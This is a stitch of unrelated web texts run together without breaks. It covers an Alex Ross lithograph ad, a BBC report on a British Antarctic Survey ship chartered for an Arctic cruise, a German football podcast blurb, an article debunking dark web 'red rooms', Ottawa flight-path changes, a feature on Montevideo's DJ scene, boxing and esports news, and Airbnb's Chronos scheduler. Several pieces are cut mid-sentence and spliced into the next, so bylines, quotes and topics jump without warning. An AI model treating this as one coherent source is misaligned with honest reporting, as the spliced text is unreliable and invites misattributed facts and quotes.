Follow AWR Hawkins on Twitter: @AWRHawkins. Reach him directly at awrhawkins@breitbart.com.“Now you face the mightiest Avenger of all!” Sideshow and Alex Ross Art are proud to present the Thor: Shattered Fine Art Lithograph. Originally created as the cover to a Marvel comic titled Paradise X: Ragnarok, this illustration has been specially reproduced for Sideshow as a fine art lithograph in an exclusive limited edition of 300. Thor: Shattered features the God of Thunder striking down his hammer in this dynamic display of shards and shapes. Ross’s artwork gives a whole new dimension to Thor’s legendary strength as Mjolnir’s impact resonates throughout the image. Each Thor: Shattered Fine Art Lithograph will be hand-signed by Alex Ross and includes a certificate of authenticity. This is a mighty must-have for fans of Alex Ross and of Thor, God of Thunder!
Print details:
Limited edition of 300
18 x 24" fine art lithograph print
Hand-signed by the artist
Certificate of Authenticity
Frame details:
20 x 27.5" Recycled Polystyrene Moulding (Black)
Custom double mat design (White and Slate)
Mats, foam board backing, and adhesive tape all certified archival materials
Framing grade acrylic
Wire hanger: No additional hardware required
Note: If the framed option is chosen, your order will be specially framed for you. Please allow additional time to frame and ship your order.
About the Artist:
Considered one of the greatest artists in the field of comic books, Alex Ross has revitalized classic Super Heroes into works of fine art with his brilliant use of gouache paint. Ross has transformed comic books by building on the foundation of great artists who came before him. Ross' paintings have revolutionized the comic book industry and transcended the newsstand origins of his profession.Image copyright BAS Image caption RRS Ernest Shackleton is normally used for logistics and scientific work in the Antarctic
Concerns have been raised about the participation of a UK science vessel in an Arctic tourist voyage.
Funded by the UK government, the RRS Ernest Shackleton normally carries out support work for the British Antarctic Survey (BAS).
But this summer the ice breaker has been chartered to accompany a luxury liner's voyage in the Arctic.
Critics say it is inappropriate for a vessel dedicated to science to support tourism in such a fragile area.
Global warming has seen a rapid rise in the number of ships travelling through Arctic waters in recent years.
The Northwest Passage - a shortcut from Asia to Europe through the Canadian Arctic - first became fully clear of ice in the summer in 2007.
There is a significant tension between the science and environmental mission of the Shackleton and its participation in an exercise in tourism Prof Michael Byers, University of British Columbia
Since then only a handful of ships have travelled the route - 17 in 2015, according to the US Coast Guard.
This summer the Crystal Serenity aims to become the biggest passenger ship yet to attempt to sail through the famous route.
Starting in Alaska, the 32-day voyage will see the 1,700 passengers and crew travel 1,500km across the top of Canada, ultimately ending in New York.
Berths on the 14-deck luxury liner are not cheap, starting at around $20,000 per person and running up to $120,000 for a deluxe stateroom.
While the route is accessible to ships, it is not ice-free and the company behind the voyage has chartered an ice breaker, RRS Ernest Shackleton, from the British Antarctic Survey.
Image copyright Crystal Cruises Image caption The voyage though the Northwest Passage will take 32 days
The Shackleton is normally used as a logistic support and research ship for UK scientific activities in the Antarctic.
Critics say that a vessel normally dedicated to science should not be enabling tourism in an area like the Arctic, acknowledged by many to be one of the most vulnerable areas to climate change.
"There is a significant tension between the science and environmental mission of the Shackleton and its participation in an exercise in tourism that has an enormous per capita carbon footprint," Prof Michael Byers from the University of British Columbia told BBC News.
Prof Byers, who holds a chair in global politics and international law, was invited on the trip to give a series of lectures to passengers. He refused, as he believes this summer's trip will only encourage others.
"This voyage is a significant contribution, at least on a per capita basis, to climate change by people who are going to see an ecosystem before it is destroyed by climate change. I find that irony quite terrible," he said.
In a statement, the British Antarctic Survey said it had chartered the Shackleton to Crystal Cruises, the company behind the trip, as the ship would not be deployed in the Antarctic at that time.
"Cruise ship tourism in both polar regions is well-regulated," it said.
The Crystal Cruises brochure says that as well as increasing the safety of passengers, the Shackleton will also "offer a platform from which guests will be able to disembark for landings in the wilderness, kayak in scenic coves, take guided zodiac (inflatable) cruises and view the vast Arctic wilderness from above from one of the two helicopters".
According to BAS, the charter is to "provide operational support to Crystal Serenity as well as the facility to carry additional expert guides and crew. Specialised safety equipment will be onboard. Zodiacs and |
of FTSE 100 catering group Compass, would be comfortable managing a ‘tricky’ CEO, having delegated to regional presidents during his 13 years at the helm of Diageo, some of whom ‘were completely mad’, the source said.
With smaller F1 teams Caterham and Marussia going into administration recently, sponsorship and TV audiences falling and costs spiralling, there’s no doubt the sport could use firmer hands on the wheel. And Walsh is a pretty good bet - after all, he did steer Diageo to Britain’s Most Admired Company three times, most recently last year. Maybe, just maybe, Bernie is on the brink of being edged off the grid.MP3 Audio [49 MB] MPEG-4 AAC Audio [43 MB] Download Show URL
Die 58. Ausgabe des BrustringTalk wird zu einer ganz besonderen. Für den Rückblick auf die Hinrunde, den Verein im Allgemeinen und einen Ausblick auf die Rückrunde haben sich die vier Fan-Podcasts rund um den VfB zu einer großen Runde zusammengefunden. In vier Teilen besprechen wir ausführlich die bisherige Saison – jeder Teil kann einzeln angehört werden – gesamt gibt alles zusammen die #VfBVIERERKETTE.
Bei den Aufnahmen dabei waren Lennart und Tom von Rund um den Brustring, Ron von Brustring 1893 und Riky von VfB STR. Für den BrustringTalk waren Martin und Jens dabei.
Die vier Teile der VfB Viererkette im Überblick
Teil 1: Die Korkut Spiele
Im ersten Teil geht es um die Vorbereitung unter Tayfun Korkut und die ersten sieben Spiele und natürlich die große Frage: was zur Hölle ist beim VfB mal wieder falsch gelaufen, dass nach einer guten Rückrunde so eine schlechte Hinrunde folgt. Diesen gut einstündigen Teil findet Ihr bei Lennart und Tom von Rund um den Brustring:
https://rundumdenbrustring.de/rudbx15-viererkette-korkut
Teil 2: Weinzierl – Jäger der verlorenen Spielidee
Der Einstieg von Markus Weinzierl war beschissen. Drei krachende Auftaktniederlagen, danach wechselten sich Hoffnung und Niederschläge ab. Weinzierl versucht irgendwie wieder Struktur in die Mannschaft zu bekommen, aber es scheint viel im Argen zu liegen. Den Rückblick auf die elf Spiele unter dem neuen Trainer findet ihr hier bei uns direkt im Player oder in unseren Feeds.
Teil 3: Der Verein
Im längsten Teil sprechen wir über den Verein, über Wolfgang Dietrich und Michael Reschke und die Frage “was haben die Römer jemals für uns getan” – in unserem Fall “was hat Wolfgang Dietrich bisher für uns getan”. Wie schlagen sich die beiden Herren in der Außendarstellung, wie repräsentieren sie den Verein. Es ist der längste Teil mit gut 1,5 Stunden und vermutlich auch der emotionalste Teil. Diesen findet ihr bei Ron (Brustring 1893, Nachspielzeit):
https://brustring1893.de/2019/01/09/vfb-viererkette-teil-3-der-verein/
Teil 4: Rückrundenvorschau
Alles wird gut – ist der Untertitel der Rückrundenvorschau. Wir hoffen es. Wir hoffen, dass auch ein Neuzugang wie Esswein, das kurze Trainingslager und vor allem die Arbeit von Markus Weinzierl ihre Wirkung zeigt und der VfB noch irgendwie die Kurve bekommt in der Bundesliga zu bleiben. Die Aussichten sind trüb, aber es könnte noch klappen… Den gut einstündigen Ausblick gibt es bei Riky von VfB STR zu hören:
https://vfbstr.de/vfb-viererkette-teil-4-rueckrundenvorschau/
Moderatoren:A screenshot of the site where an anonymous group promised to execute members of ISIS live. (Via the Daily Dot)
Late last week, a rumor both disturbing and riveting began circling forums like 4chan and Reddit. A mysterious group claimed to have captured several Islamic State fighters — and promised to torture and kill them live on the Dark Web.
The excitement was instant — if nervous — amidst the forum-goers who planned to tune in. In dozens of threads on 4chan and in Reddit’s r/darkweb and r/tor forums, they counted down to the stream’s appointed start time and chronicled its every technical glitch. But reading through their posts, one gets the sense that most were less interested in gore than in the final, long-denied proof that a “deeper” Dark Web actually exists.
They wanted to witness one of the Internet’s most stubborn urban legends for themselves: The myth that, if you dig deep and long enough, you will find the furthest reaches of human depravity — torture, murder, terrorism, you name it — on the Dark Web.
“I don’t think what they do is good,” one Redditor in r/onions recently commented, “I just want to see it for myself.”
A post to the Dark Web site “Anonymous Confessions.”
For those of you asking why the morbidly curious don’t simply Google it, let’s begin with a 101-level explainer of what the Dark Web is. At the most basic, technical level, we’re talking about a relatively small collection of Web sites that (a) are not indexed by search engines and (b) use anonymity tools like Tor to hide their IP addresses.
To access the Dark Web, you’ll need to use a browser like Tor. But once you’re there, it may be difficult to determine who or what else is on the network — that’s kind of what the whole thing is for. In fact, that property has made the Dark Web really popular with people who want to keep their identities a secret, like child pornographers and drug dealers.
Both of these activities are, of course, illegal. And in the case of child porn, they can be horrifyingly depraved. But there’s still this impression, especially common among beginning or casual Dark Web explorers, that the Dark Web gets worse or goes “deeper.” After all, this is a place where people all over the world can gather in unindexed anonymity to share anything they want: If 4chan, a site on the public Web, can persuade a user to cut half his toe off, then surely the Dark Web has far crazier, horror-film stuff.
There are rumors of gladiator fights, in which real people battle to the death; there’s talk of deranged, Nazi-era “human experiments,” filmed and uploaded. Legend has it that you can buy a hitman, if you know where to look, or a slave, or something called a “living doll” — a nightmare concoction so grotesque that I’d encourage you not to Google it further.
Some of the many, many items allegedly offered by a Dark Web vendor who calls himself “Old Man Fixer.”
Of all the Dark Web legends, though, the “red room” is one of the most stubborn: Somewhere on the Dark Web, it claims, there are people broadcasting live, interactive rapes and murders. In fact, on Reddit and 4chan and Hidden Wiki, a kind of CliffNotes for Dark Web beginners, you can find people trading second- and third- and fourth-hand accounts of red rooms opened and closed.
“It’s a tediously common question,” writes Eileen Ormsby, the Australian journalist behind the Dark Web news site All Things Vice. “How can I go deeper in the deep web? Where’s the really dark stuff?”
The answer, she writes, is pretty simple: The “dark stuff” does not and never has existed. (The exception is child porn, but that’s generally not what “deeper Web” people are looking for.)
An advertisement for an alleged Dark Web hitman.
There’s a multitude of evidence to back Ormsby’s claim: chief among it, the fact that there is never actually first-hand evidence of “red rooms,” hitmen and their ilk, and that such operations have never been busted in the FBI’s increasingly frequent Dark Web raids. Horrors reported in the media often turn out to be fake, just creepypasta that’s migrated off its original page.
Perhaps most convincingly, when a British “crypto enthusiast” who goes by the name Cthulhu analyzed a handful of hacker- and hitman-for-hire sites earlier this year, he found that their servers were set up with no real concern for security — something you’d expect to be really important to someone vending highly illegal services on an anonymous network.
More likely, he concluded, these sites were all scams: meant to collect huge sums for their murderous services, and then never actually go through with them.
So it was with the ISIS Red Room, predictably. After all that hype, the site was mysteriously taken offline at the very moment the torture was schedule to start, replaced — hours later — with a page that thanked participants. A 21-minute video of the “torture,” later published on YouTube and Liveleak, shows a guy — a “suspiciously pale-skinned guy,” Ormsby notes — being force-fed bacon.
A still from the 21-minute video, in which literally nothing happens. (Via Imgur)
The site was later replaced with a notice that it had been seized as part of a “joint law enforcement operation”; a copycat site, launched over the weekend, has likewise failed to kill or torture anyone.
None of this means, of course, that there isn’t a whole lot of deeply disturbing, exploitative and/or illegal content on the Dark Web; in his recent book on the subject, Jamie Bartlett chronicles tales of — among other things — suicide, child porn, drug trading, white supremacy and harassment. But those are, unfortunately, things you can also find on the open Internet. By and large, it would seem, the Dark Web doesn’t go much “deeper” than that.
“Are red rooms real?” asked one frustrated Redditor. “I read about this subject, but I found no evidence … It seems like a legend, not something that really happens.”
Perhaps the better question is why so many people are fascinated by these grotesque urban legends — let alone driven to seek them out. That, alas, is something philosophers and psychologists are still arguing about.
Liked that? Try these:New flight paths optimized for fuel efficiency will bring commercial aircraft landing at Ottawa International airport over some new neighbourhoods.
So-called performance-based navigation procedures are being used by NAV Canada to reduce the impact on the environment, through the reduction of greenhouse gases.
NAV Canada, the private company that owns Canada's civil air navigation service, and which operates airport control towers and area control centres across the country, has announced public consultation sessions on the new arrival paths.
"We did noise modelling to see what the impact would be on community noise," says NAV Canada's Jonathan Bogg.
NAV Canada's Jonathan Bagg says the proposed flight paths will save some 750 tonnes of greenhouse gasses each year. (Stu Mills/CBC)
"The noise impacts are expected to be minimal. [The] flight paths are in areas that already experience flight, but we've tried to apply an approach that avoids over-flight of communities."
Pilots to follow precise, 3D paths to runways
The new arrival flight paths will take advantage of Required Navigation Performance, or RNP. Currently, only about 25 per cent of the commercial aircraft arriving at Ottawa's Macdonald-Cartier International Airport are equipped to follow RNP routes, but that number is expected to grow.
RNP takes advantage of satellite-based positioning systems that allow the pilot of a commercial aircraft to follow a precise, three-dimensional path in the sky.
In a series of maps on the navigation company's website, the proposed new arrival plans are overlaid on existing flight paths. The new, shorter, more direct RNP paths appear to lead pilots more directly onto the tarmac, with the final turn toward the runway happening over neighbourhoods closer to the airport itself.
Gilles Bazinet, a golfer at Anderson Links, says descending aircraft won't interfere with his game. (Stu Mills/CBC)
For golfers, air traffic is par for the course
Proposed arrival paths for Runways 32 and 25 appear to make their final button hook and approach over an area of Carlsbad Springs where Anderson Links golf course is located.
Golfers there said no matter what course they played, airplane traffic was a constant.
"You hear them coming and when you're ready to play, you play. You don't let that bother you," said Gilles Bazinet.
"I play bad anyways, so it doesn't really matter," he joked.
Bazinet wasn't concerned that by the end of the year, more airline pilots could be lining up over the same fairways where he was. "I don't think you're doing a bad thing if you're saving fuel. It's good for the economy, it's good for everyone."
Quieter and more efficient routes
NAV Canada says the modern guidance technology makes it possible for aircraft to repeatedly fly safe, efficient and predictable routes.
The company is updating approach paths at Canadian airports so that aircraft equipped with RNP technology can take advantage of shorter paths on approach.
Those 3D paths also typically allow a pilot to maintain a continuous descent, with engines idling and therefore quieter.
"Continuous descent arrivals reduce the amount of time that aircraft spend at a level attitude," says Johnathan Bagg. "When they're at a level attitude, they're burning more fuel, they're louder, they're less efficient. RNP is one way for us to achieve quieter and more efficient routes."
NAV Canada says RNP arrival paths allow aircraft to land using less fuel. (NAV Canada)
Greenhouse gases to reduce 750 metric tonnes a year
NAV Canada estimates the proposed, shorter and more direct routes to the runways will save up to two minutes of flying time for arrivals.
Greenhouse gas emissions will also be cut by 750 metric tonnes each year at Ottawa airport. That's equivalent to about 300,000 litres of aviation fuel saved.
There are no proposed changes for departure routes, which are louder since the aircraft's engines are typically at or near full throttle.
NAV Canada is holding two community consultation sessions next month.
June 2, 6:30 to 8:30 p.m., Good Shepherd School Gymnasium, 101 Bearbrook Rd.
June 22, 6:30 to 8:30 p.m., Maurice-Lapointe School Gymnasium, 17 Bridgestone Dr.
If adopted as proposed, commercial aircraft equipped with RNP could be using the new approaches by the end of this year.Montevideo reawakens as Saturno's season wraps up. The city is less active in the winter months, as workers and holiday makers relocate to Punta Del Este. "It can be like 20 euros for a whisky there," said Martin Craciun, an academic who has thrown events with Alva Noto and Marcel Dettmann in Uruguay. "Punta has this Balearic thing. People have always tried to make it like Ibiza, with exclusivity and wealthy Argentinians. The scene in Montevideo was never about wealthy people."Craciun has a front-row seat to the dance music scene in Uruguay. He prefers the experimental side of things—he's an ambassador for CTM, an international organisation for avant-garde electronic music known for its annual festival in Berlin—but follows the scene around Phonotheque. He visits Europe annually and understands the difficulties young people face in Montevideo, where the cost of living can be as much as a European capital, but with substantially lower wages. The International Monetary Fund deems Uruguay a developing country, but each time I went out to dinner in Montevideo, I paid more than I would have for the same thing in Berlin."What we earn in relation to what we spend is a bit unfair," Craciun said. "I was in Paris a few weeks ago. We went to the supermarket—the goods there are cheaper.""I work with people who earn 500 US dollars a month," Kino had told me. "They work six days a week and it doesn't even cover their rent. It's hard to be here."The hypnotic brand of music favoured by the DJs and crowds at Phonotheque feels at odds with a country famous for pristine beaches and sunshine. But there's a greyness to Montevideo, too. Bleak tower blocks dot the skyline. Armed guards are stationed in every bank, as though they are expecting trouble. The streets are safe and the people are friendly, but the struggles Craciun and Kino mention hang in the air. "The electronic music scene is giving people a chance to forget everything," Craciun said. "We don't need lyrics, we just like to dance."The mood was upbeat when I visited Agustin Garcia Becoña and his friends, who run Phonotheque's No Way Back party. I arrived at Agustin's flat one Wednesday night as they were a few hours into a back-to-back-to-back living room session. It was the second time I'd seen the group that week. I had bumped into them a few nights before at another apartment, where they grilled chorizo and cheese-stuffed capsicum and swapped test pressings at a goodbye dinner for Junki Inoue. That Wednesday, Agustin and his friends took turns mixing records while pouring beers and rolling cigarettes. "Electric Day" by Trike played while they discussed where to order pizza from. It's the same scene that happens in living rooms and student dorms from Leeds to Berlin and Sydney. The difference here was the lengths the guys had gone to get the tunes they were spinning.Shipping a single record from Europe or the US can cost up to US$25. (Most European buyers are charged a fraction of that to send a record within Europe.) It takes a few weeks for a parcel to reach Montevideo once it's shipped, which means a lot of anxious waiting for the city's DJs. They usually have a few packages on the way at any given time, and spend unbelievable amounts of time on sites like Discogs and Juno, searching for under-the-radar bombs on labels most dance music fans have never heard of. But with shipping costs so high, they need to be careful about what they order. The bulk "blind buying" method (purchasing records you can't preview online) favoured by diggers in Europe is tough to justify in Montevideo, yet its DJs still find a way to stack their bags with obscure weapons."The money we spend on shipping is more than what we pay for records," Kino said. "It's crazy to buy a record for $4 or $5 and pay $25 for shipping. But that's the sacrifice here. Because of the shipping, we try to buy cheap records that nobody knows."Whenever discussing music with Montevideo's DJs, you will eventually land on a key topic: Edu Koolt. His influence looms large over every DJ I met in Montevideo, at least two of whom have tattoos of his name. They have all seen him play dozens, if not hundreds, of sets. Almost all consider him their favourite DJ. He even taught many of them to mix at DJ classes he gives from the first-floor apartment he shares with five Persian cats. For some students, visiting Koolt's apartment was about learning how to mix records. For others, it was a life-changing experience. That's where I met him, with Melina Serser acting as translator, one warm Thursday afternoon. He'd spent a long day teaching but was eager to talk. Heavily tattooed and almost always smiling, he exudes the kind of positivity you often find in people who have dedicated their life to a passion.Koolt, who grew up working in his family's fruit shop, might be the best house and techno DJ you've never heard. He's the only person in the scene who earns a living from DJing alone, having quit the fruit business at 28. He plays up to five times per weekend during summer. ("You can listen to Koolt play at a wedding, a party, a house—it's always good," Kino said.) His style, which is rooted in lean tribal and tech house, is energetic and smooth, with bold basslines and Latin-flavoured percussion. A master of groove, with a steady mixing technique that manages to inject energy into every transition, he plays loopier music than Phonotheque's younger DJs. There are often three tracks playing at once, but he still finds time to hug friends as he bobs around the booth. Koolt's beatmatching is flawless, recalling the peak-time style of DJs like Craig Richards and Circoloco-era Raresh, Rhadoo and Petre Inspirescu. The tracks are stripped-down and drum-focused, but Koolt uses them as building blocks to create a full, vibrant soundThis sound has a psychedelic touch, honed through a series of residencies dating back to the early '00s. But where long-time friend and fellow Uruguayan Nicolas Lutz gained an international following after moving to Europe in the late '00s, DJ Koolt remains a local secret."I never imagined a DJ career outside of Uruguay," he said. "I like to travel but wouldn't live abroad. My parents were already old when I was born, so I always wanted to look after them. Even though I had four brothers, I always felt that need."House and techno in Uruguay is better off for Koolt's decision to stay. It's impossible to imagine the scene without him. By staying in Montevideo, a city whose name is tattooed, graffiti-style, on his leg, Koolt has helped foster the thriving collective of DJs raised on his legendary sets in Phonotheque and, before that, a club called Milenio. (Between Mileno closing in 2007 and Phonotheque opening in 2013, there was no club for this group's sound.) His presence and dedication set the bar at an uncommonly high level. When your local DJ is as good as any in the world, you gain a unique perspective on what it means to play records in a club."I'm listening to the percussion and bass when selecting tracks," Koolt said. "Not the melody. I was actually never characterised as a hypnotic kind of DJ, I just liked to make people dance. I like the groove, the rhythm. Dancing is the most important thing. The other stuff came later with experience."Throughout our conversation, Koolt stressed that Uruguay has always had a strong house scene. Electronic music gained a foothold there in the early '90s, heard in venues like X, La Factoría and Locomotiv. There were also two gay clubs, Spok and Metropolis. These venues closed in the '90s, but they were instrumental in laying the foundation for today's scene."The best music was played in the gay clubs," Koolt said. "That was the boom for the electronic music movement here. Metropolis was the first club that had a big impact on me. It opened in '93 and it was built all in stone. It was very open and gay friendly."Fernando Picón and Marcelo Castelli were two popular DJs from that time. Another, though, would have the most lasting impact on Koolt, and in turn, the wider scene. His name was Bruno Gervais, a DJ from Paris who lived in Uruguay between 1993 and 2002."Bruno was the first to play another kind of sound," Koolt said. "It was different to what we knew at the time. He played with slower BPMs, and was the first to really tell a story with music and make us travel. He was also the first DJ to have his own fans. I would go to see him every time he played."Nicolas Lutz calls Gervais a life-changer. "If it wasn't for Bruno, I'd be on the corner selling hotdogs," he's been known to say. Over lunch one afternoon, Bonanata, Phonotheque's owner, handed me his smartphone, which displayed a Google Translate page with a simple message: "Without Bruno there would be no Phonotheque.""At that time the electronic scene was very small and mostly oriented to the Ibiza house music vibe," Gervais told me over email. "I left in 2002 for New York, but I started coming back to Uruguay a few years later and rediscovered a very mature scene. Many of the kids who used to dance when I was playing had started to DJ. I always found it very impressive that the people in this small country were so up-to-date with music. There is something there that I have never found anywhere else—something about the way people listen to the music and really enjoy themselves."Koolt also points out Uruguay's up-to-date listening habits, drawing comparisons between Uruguay and Belgium. He saw the similarities after watching, a documentary about the European country's early EBM and New Beat scenes. "Around '87 and '88, without internet, there were DJs in Uruguay playing the same music that was being played in Europe," Koolt told me. "What's happening now isn't new. We have a big background in Uruguay."
Christian Bonanata
But Gervais planted the seed from which the scene around Phonotheque grew. The style of its DJs can be traced back directly to him. After Koolt and Lutz came DJs like [email protected], Omar, Fede Lijt and Emilio, followed by the likes of Fabricio and Nico Etorena. All consider the previous generation an influence on their style, and can list their favourite sets from most of the older DJs. Many still talk about a legendary all-night set at Phonotheque from Lutz, who plays there a few times per year to a hero's welcome."Nico has always been quite freaky with his style and taste," Fabricio, one of the scene's youngest DJs told me. "He always mixed minimal with techno and electro, but during the time he lived here, minimal was at its commercial peak. This made everything confusing. Techno was not always common—only a few DJs played it."Fabricio is the archetypal Montevideo DJ. He's not a resident at Phonotheque but he plays there a few times a year. He speaks good English, but apologises for what he thinks is a limited vocabulary every few minutes. He spends all his spare money on records, some of which appeared on his mix for My Own Jupiter last year."The techno Koolt plays has always been a bit more tribal and soulful, with a touch of tech house," Fabricio said. "Along with Nico, he is one of the most important DJs in Uruguay. Nico was too innovative for the time he lived here, but he changed everything when he returned. Most of the DJs began to play more techno and the scene became more purist with that style. Before this, house is what you would hear the most. Things like Derrick Carter, Spencer Kincy and the good stuff from Chicago."Uruguay's DJs are slowly becoming better known internationally. [email protected], who plans to move to Europe, has put out records on the German labels Melliflow and Traffic, and played dates in Kiev, Seoul and Ibiza in 2016. Melina Serser, the downtempo DJ who acted as translator between DJ Koolt and I, also has a string of European dates and an podcast under her belt. Omar, based in Berlin, plays often in Germany, Spain and the UK.Europe's allure is strong. Many of the people I met were second- or third-generation Uruguayans, which makes it easy for them to get ancestry passports from Italy or Spain, the countries their families migrated from. But while many visit Europe, few stay. Fede Lijt, a DJ and producer who played Phonotheque's first-ever party, in 2013, spent two years in Berlin before returning to Montevideo in 2014. He runs El Milagro Records, a label that has released two records since launching in 2013. A low-key operation with distribution through EFD (the distributor behind labels like Time Passages and Cabaret Recordings), El Milagro's hit-rate has been impressive. Its first 12-inch, Lijt's, feels ahead of its time—a sleeper hit that was an early version of the bass-heavy, cosmic minimal sound made popular by Spacetravel sometime later. Its follow-up release, by Uruguayans Luis Malon and Ovach, was just as good."I made those tracks in Berlin in 2013," Lijt told me at his house, which is spacious and located on a leafy street. "The label was in hibernation after that."Before meeting Lijt, I'd sat in on an interview at a local radio station. While middle-aged technicians watched soccer on old TVs hanging from the wall outside the booth, Lijt fielded questions from the promoter of Montevideo's Warehouse parties about the production school he founded 2016. An outspoken character who doesn't mince words, Lijt had plenty to say about Berlin at his apartment afterwards."There are a lot of shitty DJs there," he told me. "The percentage of good DJs in Uruguay is much higher, and we mostly play with vinyl. When I went to Europe for the first time and saw people DJing with a computer, I was shocked. We buy records even though we don't have the money. If you really want something, you can do it."It is, however, easier to bring vinyl into Uruguay than many other South American countries. Where some places, such as Brazil and Argentina, impose an import tax of up to 70%, Uruguayans pay no extra custom fees. "Things like books, records and CDs—that kind of stuff is considered 'culture,'" Kino said. "So they are tax-free."Without this customs exemption for cultural goods, the DJ community around Phonotheque may not have flourished. It's just one of the factors that have contributed to what feels like a perfect storm. Take a few a freakishly talented DJs, put them in a country with an established party culture and a passion for vinyl, and watch things grow. With Phonotheque in the mix since 2013, things have exploded. "Phonotheque gave us a place to evolve," Kino said. "The sound we have is mainly because of the club and the crowd that goes there. They want that."The scene around Phonotheque may be established, but it has room to develop. At the moment, the club is only open one night per week. There's also no real record store in Montevideo, a common complaint from DJs. And while the Phonotheque crowd is evenly split between men and women, only a handful of female DJs have played there."We need writers and photographers," Martin Craciun, the experimental music promoter, told me. "We need people to document what's happening. There's so much room to grow. We have Edu, the biggest and best DJ, on top. He should be super wealthy, but he's not making tonnes of money. If you compare him to a guy who started last weekend, it's quite narrow in terms of money and income." [email protected], who could be the next Uruguayan DJ to break through internationally, seemed calm behind the Phonotheque decks at around midday on Sunday, March 11th. He was playing the closing slot after sets from Koolt and Manuel Jelen, who was icing his ankle, injured in a soccer match, by the bar. The crowd on the dance floor was thin but there was energy in the room. After hours of rolling tech house and techno, [email protected] had turned to deeper and more atmospheric sounds. He dropped "Ni Cd Deluxe," a shuffling tech house track from 1998 by the UK artist Silverlining. Melodic and emotional, its long breakdown was met with a rare round of claps and whistles. Some people looked like they were about to cry.Across two weekends, I'd racked up more than 50 hours of listening to the classiest dance music out there. Almost all of it was played by local DJs. When the music stopped, I found Emilio and Kino leaning against a wall backstage, working out where to go for the afterparty. Emilio had a bag of records at home he was excited to play, so an afternoon of killer tunes was guaranteed. When it comes to stripped-down dance music, there's nowhere better than Montevideo.By Rey Colon
On Wednesday, WBO super bantamweight champion Jorge 'Travieso' Arce (57-6-2, 44KOs) of Mexico was honored in Puerto Rico by the World Boxing Organization. When he came on the podium to speak, he publicly promised to give Wilfredo 'Papito' Vázquez a rematch, but first Arce will make a voluntary defense on the November 12 undercard to the Manny Pacquiao-Juan Manuel Marquez trilogy at the MGM Grand in Las Vegas, Nevada.
"Of course I would give him the rematch in Puerto Rico. If our promoters agree, we can fight anywhere - even in his backyard and his father can be the referee. Just give me a contract with a lot of zeros. And get in line - Eric Morel, Chelo Gonzalez, Jonathan Oquendo," said Arce, who admitted that his second idol is Felix Trinidad.
"For the first time I come to Puerto Rico and I didn't arrive as a person unnoticed. After so long, I'm having one of the best times of my life. I was afraid because I thought everyone was going to boo me but I have met wonderful people."Chronos: A Replacement for Cron
AirbnbEng Blocked Unblock Follow Following Mar 15, 2013
Chronos is our replacement for cron. It is a distributed and fault-tolerant scheduler which runs on top of Mesos. It’s a framework and supports custom mesos executors as well as the default command executor. Thus by default, Chronos executes SH (on most systems BASH) scripts. Chronos can be used to interact with systems such as Hadoop (incl. EMR), even if the mesos slaves on which execution happens do not have Hadoop installed. Included wrapper scripts allow transfering files and executing them on a remote machine in the background and using asynchroneous callbacks to notify Chronos of job completion or failures.
Chronos has a number of advantages over regular cron. It allows you to schedule your jobs using ISO8601 repeating interval notation, which enables more flexibility in job scheduling. Chronos also supports the definition of jobs triggered by the completion of other jobs, and it also supports arbitrarily long dependency chains.
Chronos is available on Github
The Backstory
At Airbnb, we heavily rely on data analysis to build great products. Our data-pipeline consists of many technologies such as Hadoop, MySQL, Amazon Redshift and S3. Our software engineers and analysts use a mix of Cascading, Cascalog, Hive and Pig for interfacing with Hadoop. We have scripts that export tables from a vast number of databases into S3 and we use various ETL (extract transform and load) processes to turn blobs of bytes into meaningful information. Many of these transformations consist of multiple steps and some tables are composed of a myriad of data-sources and joins.
We’re not in a private datacenter, and we aren’t running our own Hadoop cluster — we use a managed Hadoop product from Amazon, called Elastic Map/Reduce. High variance in network latency, virtualization and not having predictable I/O performance is an ongoing challenge in a cloud environment. There are many sources for errors. For example calls to web services are subject to timeouts.
In a complex processing pipeline every step increases the chance of failure. Until December last year, we were relying on a single instance with cron to kick off our hourly, daily and weekly ETL jobs. Cron is a really great tool but we wanted a system that allowed retries, was lightweight and provided an easy-to-use interface giving analysts quick insights into which jobs failed and which ones succeeded.
We also wanted a system that was highly available and could manage any workload, not just Hadoop jobs. Other requirements were that the system still could run BASH scripts and fan out the workload to many systems (as we are exporting many tables we didn’t want to just execute on one box albeit we wanted to have central management). At the same time we began looking at Mesos for data-infrastructure. Thus we made the decision to build a new lightweight, fault-tolerant scheduling tool which we named Chronos that would run on top of Mesos, using Mesos’ primitives for storing state and distributing work. Mesos also allowed us to dynamically add new workers to our pool without having to change the configuration of the existing cluster.
Chronos UI
Chronos comes with a UI which can be used to add, delete, list, modify and run jobs. It can also show a graph of job dependencies. These screenshots should give you a good idea of what Chronos can do.
Check it out on Github
Over the past weeks, we have open-sourced Chronos, you can check it out on our github page: https://mesos.github.io/chronos/
Here’s the video from our Tech Talk on Chronos:
Check out all of our open source projects over at airbnb.io and follow us on Twitter: @AirbnbEng + @AirbnbDataCNN
One man has become a symbol of the American spirit after being caught giving the middle finger to the Las Vegas gunman.
As hundreds of concert-goers lay frozen unsure of what to do as Stephen Paddock rained down on the crowd from his 32nd hotel room at the Mandalay Hotel, one man took it upon himself to spare a second so he could offer out the gesture.
He can be seen looking up towards the hotel before getting to his feet and flipping off the 64-year-old.
Watch as the as-yet unidentified male makes his intentions clear:
May lays on wife during Las Vegas shooting As gunfire exploded around him, a man laid on top of his wife to protect her http://cnn.it/2fEgGLD Posted by CNN on Monday, 2 October 2017
President Donald Trump took to the podium earlier on Monday to issue his statement following the massacre.
He said:
Thank you. My fellow Americans, we are joined together today in sadness, shock, and grief. Last night, a gunman opened fire on a large crowd, at a country music concert in Las Vegas, Nevada. He brutally murdered more than |
due to their recent roster acquisition from Luminosity Gaming. Na`Vi is in a similar position as they dropped out of the ECS in Season 1, and therefore must also re-qualify through the Development League.
Olivia Da Silva is a news editor at theScore esports. You can usually find her freaking out over someone's dog or telling terrible jokes to anyone who will listen. Feel free to follow her on Twitter.No alternative facts about this fake news show. February was DAILY SHOW WITH TREVOR NOAH's most-watched and highest-rated month ever among total viewers (1.5 million total viewers P2+, up +17% from February 2016) and Adults 18-49 (0.74 rating, up +11%). THE DAILY SHOW continues to dominate among Comedy Central's core, key millennial audience, finishing February as the most-watched and highest-rated daily late night talk show among all millennials (Adults 18-34, Adults 18-24).
